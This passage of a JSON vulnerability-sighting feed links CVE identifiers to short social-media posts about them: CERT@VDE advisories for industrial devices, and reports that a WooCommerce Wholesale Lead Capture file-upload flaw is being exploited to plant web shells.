"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/bitnewsbot.bsky.social/post/3mvmjj34ckn22", "content": "Threat actors are actively exploiting CVE-2026-27540, a critical arbitrary file upload flaw in the WooCommerce Wholesale Lead Capture plugin with [\u2026]", "creation_timestamp": "2026-09-16T06:35:05.780327Z"}, {"uuid": "1d33b201-3b47-4a61-8393-ca2eb982fbdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/privpros.bsky.social/post/3mvmjzot6fs23", "content": "Unauthenticated attackers exploit CVE-2026-27540 in WooCommerce Wholesale Lead Capture to upload arbitrary files, including PHP web shells, enabling remote code execution.\n", "creation_timestamp": "2026-09-16T06:44:23.251706Z"}, {"uuid": "c1ff7d0b-0b64-4e67-b3df-d88903dcb82c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/javascriptbriefly.bsky.social/post/3mvmk2hf47y2o", "content": "Unauthenticated attackers exploit CVE-2026-27540 in WooCommerce Wholesale Lead Capture to upload arbitrary files, including PHP web shells, enabling remote code execution.\n", "creation_timestamp": "2026-09-16T06:44:49.684232Z"}, {"uuid": "9a3202cc-f055-4fa0-9a77-633484025f80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mvmk2rcrm62j", "content": "Unauthenticated attackers exploit CVE-2026-27540 in WooCommerce Wholesale Lead Capture to upload arbitrary files, including PHP web shells, enabling remote code execution.\n", "creation_timestamp": "2026-09-16T06:44:59.153067Z"}, {"uuid": "231bac52-4376-410f-9893-d6ba868d15d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27565", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279648543638927", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-014Pepperl+Fuchs: ICE2-* and ICE3-* are affected by multiple security vulnerabilitiesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe affected devices have security vulnerabilities that can be used to bypass authentication. Code can be execute\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-014CSAF JSON: https://pepperl-fuchs.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-014.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:56:59.741231Z"}, {"uuid": "9e0bc154-baaf-4465-b30c-5c142e41ac93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27564", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279648543638927", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-014Pepperl+Fuchs: ICE2-* and ICE3-* are affected by multiple security vulnerabilitiesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe affected devices have security vulnerabilities that can be used to bypass authentication. Code can be execute\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-014CSAF JSON: https://pepperl-fuchs.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-014.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:56:59.798495Z"}, {"uuid": "e3c0307d-ab8a-4f72-aa45-cddc3de0406d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27563", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279648543638927", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-014Pepperl+Fuchs: ICE2-* and ICE3-* are affected by multiple security vulnerabilitiesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe affected devices have security vulnerabilities that can be used to bypass authentication. Code can be execute\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-014CSAF JSON: https://pepperl-fuchs.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-014.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:56:59.854318Z"}, {"uuid": "bb25cfe7-c5b1-41a6-85d8-168a33290192", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27562", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279648543638927", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-014Pepperl+Fuchs: ICE2-* and ICE3-* are affected by multiple security vulnerabilitiesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe affected devices have security vulnerabilities that can be used to bypass authentication. Code can be execute\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-014CSAF JSON: https://pepperl-fuchs.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-014.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:56:59.909450Z"}, {"uuid": "e1a76ad7-335b-466c-8a9b-e050d6e47c8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27561", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279648543638927", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-014Pepperl+Fuchs: ICE2-* and ICE3-* are affected by multiple security vulnerabilitiesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe affected devices have security vulnerabilities that can be used to bypass authentication. Code can be execute\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-014CSAF JSON: https://pepperl-fuchs.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-014.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:56:59.969328Z"}, {"uuid": "a6b4bd16-7920-4a69-9bea-46ff6965c00a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27565", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo3krdbfq2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-014\nPepperl+Fuchs: ICE2-* and ICE3-* are affected by multiple security vulnerabilities\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe affected devices have security vulnerabilities that can be used to bypass [\u2026]", "creation_timestamp": "2026-09-16T07:57:06.418101Z"}, {"uuid": "8a3b90f7-fa12-4bc9-8075-37052fb9fb81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27564", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo3krdbfq2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-014\nPepperl+Fuchs: ICE2-* and ICE3-* are affected by multiple security vulnerabilities\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe affected devices have security vulnerabilities that can be used to bypass [\u2026]", "creation_timestamp": "2026-09-16T07:57:06.490028Z"}, {"uuid": "e27d1846-2a7b-4fbc-bdf6-7b08a35f86f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27563", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo3krdbfq2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-014\nPepperl+Fuchs: ICE2-* and ICE3-* are affected by multiple security vulnerabilities\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe affected devices have security vulnerabilities that can be used to bypass [\u2026]", "creation_timestamp": "2026-09-16T07:57:06.530230Z"}, {"uuid": "2ed412bc-8d0a-456b-82e8-d0bdd00a412f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27562", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo3krdbfq2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-014\nPepperl+Fuchs: ICE2-* and ICE3-* are affected by multiple security vulnerabilities\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe affected devices have security vulnerabilities that can be used to bypass [\u2026]", "creation_timestamp": "2026-09-16T07:57:06.574725Z"}, {"uuid": "7bd6a20d-f954-45ba-a577-11874cb9dfd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27561", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo3krdbfq2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-014\nPepperl+Fuchs: ICE2-* and ICE3-* are affected by multiple security vulnerabilities\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe affected devices have security vulnerabilities that can be used to bypass [\u2026]", "creation_timestamp": "2026-09-16T07:57:06.612972Z"}, {"uuid": "9644445b-c3ca-402c-bdb3-8df702d11b2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27565", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279651021128626", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-027Phoenix Contact: Multiple vulnerabilities in the firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devicesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devices is affected by security vulnerab\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-027CSAF JSON: https://phoenixcontact.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-027.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:57:38.086493Z"}, {"uuid": "58c50633-edeb-440d-a326-a893ea40fa50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27564", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279651021128626", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-027Phoenix Contact: Multiple vulnerabilities in the firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devicesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devices is affected by security vulnerab\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-027CSAF JSON: https://phoenixcontact.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-027.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:57:38.148745Z"}, {"uuid": "ea3c3960-8eaf-4e7b-b3e1-7550a67cc1bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27563", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279651021128626", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-027Phoenix Contact: Multiple vulnerabilities in the firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devicesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devices is affected by security vulnerab\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-027CSAF JSON: https://phoenixcontact.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-027.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:57:38.197677Z"}, {"uuid": "6ddc0ad8-834e-4087-b422-3522dda2503c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27562", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279651021128626", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-027Phoenix Contact: Multiple vulnerabilities in the firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devicesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devices is affected by security vulnerab\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-027CSAF JSON: https://phoenixcontact.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-027.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:57:38.247034Z"}, {"uuid": "2fbd8acf-7381-498c-b143-6a4d3a67d8b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27561", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279651021128626", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-027Phoenix Contact: Multiple vulnerabilities in the firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devicesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devices is affected by security vulnerab\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-027CSAF JSON: https://phoenixcontact.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-027.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:57:38.294602Z"}, {"uuid": "978b11f2-5526-4a08-af17-4cd5d6bf7868", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27565", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo4pzirga2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-027\nPhoenix Contact: Multiple vulnerabilities in the firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devices\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 [\u2026]", "creation_timestamp": "2026-09-16T07:57:40.095008Z"}, {"uuid": "b39dacfd-6c63-440e-b195-c695f3855905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27561", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo4pzirga2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-027\nPhoenix Contact: Multiple vulnerabilities in the firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devices\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 [\u2026]", "creation_timestamp": "2026-09-16T07:57:40.309695Z"}, {"uuid": "13fb0a78-1064-4977-88ca-f39ee37e9f83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27564", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo4pzirga2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-027\nPhoenix Contact: Multiple vulnerabilities in the firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devices\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 [\u2026]", "creation_timestamp": "2026-09-16T07:57:40.150444Z"}, {"uuid": "75bd2689-0042-44cf-b968-eaac8f670117", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27563", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo4pzirga2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-027\nPhoenix Contact: Multiple vulnerabilities in the firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devices\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 [\u2026]", "creation_timestamp": "2026-09-16T07:57:40.204999Z"}, {"uuid": "70119095-6638-4f4c-b644-913deb0e390a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27562", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo4pzirga2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-027\nPhoenix Contact: Multiple vulnerabilities in the firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 devices\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe firmware of IOL MA8 EIP DI8 and IOL MA8 PN DI8 [\u2026]", "creation_timestamp": "2026-09-16T07:57:40.255576Z"}, {"uuid": "8d6cd7b9-aa64-42d8-856b-b3b6ce7b4144", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27565", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279653429239459", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-028Carlo Gavazzi Automation: YL212* and YN115* are affected by multiple security vulnerabilitiesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe affected devices have security vulnerabilities that can be used to bypass authentication. Code\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-028CSAF JSON: https://gavazziautomation.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-028.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:58:13.393085Z"}, {"uuid": "c37f9175-35e4-4c83-b85c-712bb217f72e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27564", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279653429239459", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-028Carlo Gavazzi Automation: YL212* and YN115* are affected by multiple security vulnerabilitiesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe affected devices have security vulnerabilities that can be used to bypass authentication. Code\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-028CSAF JSON: https://gavazziautomation.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-028.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:58:13.494237Z"}, {"uuid": "6605f2e3-7fcf-4184-803b-8b7e873358c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27563", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279653429239459", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-028Carlo Gavazzi Automation: YL212* and YN115* are affected by multiple security vulnerabilitiesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe affected devices have security vulnerabilities that can be used to bypass authentication. Code\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-028CSAF JSON: https://gavazziautomation.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-028.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:58:13.561262Z"}, {"uuid": "efc57c1c-fbec-4758-960e-b6e644f8cad3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27562", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279653429239459", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-028Carlo Gavazzi Automation: YL212* and YN115* are affected by multiple security vulnerabilitiesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe affected devices have security vulnerabilities that can be used to bypass authentication. Code\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-028CSAF JSON: https://gavazziautomation.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-028.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:58:13.619593Z"}, {"uuid": "19cb0064-4c1f-4ce8-8daf-7f5c50ed43fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27561", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117279653429239459", "content": "\ud83d\udd12 New CSAF advisory published\nVDE-2026-028Carlo Gavazzi Automation: YL212* and YN115* are affected by multiple security vulnerabilitiesCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\nThe affected devices have security vulnerabilities that can be used to bypass authentication. Code\u2026\nHTML: https://certvde.com/en/advisories/VDE-2026-028CSAF JSON: https://gavazziautomation.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-028.json\n#OT #Advisory", "creation_timestamp": "2026-09-16T07:58:13.685239Z"}, {"uuid": "4eddc58a-166c-4678-a6f3-62b5c14f603a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27565", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo5vmzous2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-028\nCarlo Gavazzi Automation: YL212* and YN115* are affected by multiple security vulnerabilities\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe affected devices have security vulnerabilities that can be used [\u2026]", "creation_timestamp": "2026-09-16T07:58:24.304177Z"}, {"uuid": "3c7e1bce-3e0b-4f6d-9fe5-8bac1e429326", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27564", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo5vmzous2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-028\nCarlo Gavazzi Automation: YL212* and YN115* are affected by multiple security vulnerabilities\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe affected devices have security vulnerabilities that can be used [\u2026]", "creation_timestamp": "2026-09-16T07:58:24.362509Z"}, {"uuid": "5c0c4350-b52e-49c1-a969-dd85362bca9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27563", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo5vmzous2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-028\nCarlo Gavazzi Automation: YL212* and YN115* are affected by multiple security vulnerabilities\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe affected devices have security vulnerabilities that can be used [\u2026]", "creation_timestamp": "2026-09-16T07:58:24.414342Z"}, {"uuid": "1ec7c1ee-bfbc-49b6-a9f5-607aa6ebeed9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27562", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo5vmzous2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-028\nCarlo Gavazzi Automation: YL212* and YN115* are affected by multiple security vulnerabilities\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe affected devices have security vulnerabilities that can be used [\u2026]", "creation_timestamp": "2026-09-16T07:58:24.469458Z"}, {"uuid": "3f62a880-0871-4766-b5fc-b64d9e3399a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27561", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mvmo5vmzous2", "content": "\ud83d\udd12 New CSAF advisory published\n\nVDE-2026-028\nCarlo Gavazzi Automation: YL212* and YN115* are affected by multiple security vulnerabilities\nCVE-2026-27565, CVE-2026-27564, CVE-2026-27563, CVE-2026-27562, CVE-2026-27561 (+15 more)\n\nThe affected devices have security vulnerabilities that can be used [\u2026]", "creation_timestamp": "2026-09-16T07:58:24.527595Z"}, {"uuid": "705c4b8b-db4d-45bf-aa9a-327f381a5847", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27540", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mvmpv3rq4a2f", "content": "\ud83d\udcf0 Hacker Aktif Menargetkan Situs WordPress lewat Plugin WooCommerce\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/09/16/cve-2026-27540-woocommerce-wordpress/\n\n#cybersecurity #keamananSiber #keamananWordpress #malware #vulnerability #webshell #woocommerce #wordpress", "creation_timestamp": "2026-09-16T08:29:10.709624Z"}, {"uuid": "15f3e5c5-35c1-41f5-a7b1-b5fc6ef766c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://t.me/thehackernews/10067", "content": "\ud83d\udea8 Attackers are exploiting a critical WooCommerce Wholesale Lead Capture flaw to plant PHP web shells.\n\nWordfence has blocked over 100,000 exploit attempts since June against CVE-2026-27540, which affects versions through 2.0.3.1.\n\nRead: https://thehackernews.com/2026/09/attackers-exploit-woocommerce-wholesale.html", "creation_timestamp": "2026-09-16T09:00:03.983453Z"}, {"uuid": "1db8ae6c-e537-45b5-962d-22d468a0b4a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27546", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvmsq43vgt2b", "content": "CVE-2026-27546 - ice2-8iol1-g65l-v1d\nSeveral Pepperl+Fuchs ICE controller models can be accessed by anyone on the network, letting them log in as an administrator without providing valid credentials. This could\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#pepperlfuchs #CVE #infosec", "creation_timestamp": "2026-09-16T09:20:04.853029Z"}, {"uuid": "24eeb450-e442-4793-afbe-2c9abf75fbca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27565", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvmsq6lrtz2n", "content": "CVE-2026-27565 - ice2-8iol1-g65l-v1d\nThe listed 